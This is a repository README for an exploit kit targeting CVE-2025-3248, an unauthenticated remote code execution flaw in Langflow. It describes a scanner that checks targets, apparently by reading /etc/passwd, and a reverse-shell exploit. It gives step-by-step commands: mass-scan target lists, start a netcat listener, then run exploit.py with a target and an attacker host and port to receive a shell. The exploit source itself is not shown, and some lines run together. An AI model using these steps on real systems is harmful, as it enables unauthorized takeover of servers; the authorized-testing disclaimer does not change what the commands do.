r0otk3r/cve-2025-3248Scanner and exploit for CVE-2025-3248, an unauthenticated RCE in Langflow AI. Includes a vulnerability checker and a reverse shell payload generator for authorized security testing.
This repository contains two Python scripts:
LangflowCheck.py: A scanner that checks for Langflow AI instances vulnerable to CVE-2025-3248.exploit.py: A working reverse shell exploit for vulnerable Langflow targets.CVE-2025-3248 is a critical vulnerability in Langflow AI that allows unauthenticated attackers to execute arbitrary Python code remotely via a crafted payload to /api/v1/validate/code.
LangflowCheck.py/etc/passwd.exploit.pylhost) and listener port (lport).exploit.log.pip install -r requirements.txt
Single URL
python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt
Multiple Targets
python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt
First, start a listener
sudo nc -nvlp 4444
Then, run the exploit:
python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444
You should receive a shell if the target is vulnerable.
This exploit is for educational and authorized security testing only. Do not use against systems you do not own or have explicit permission to test.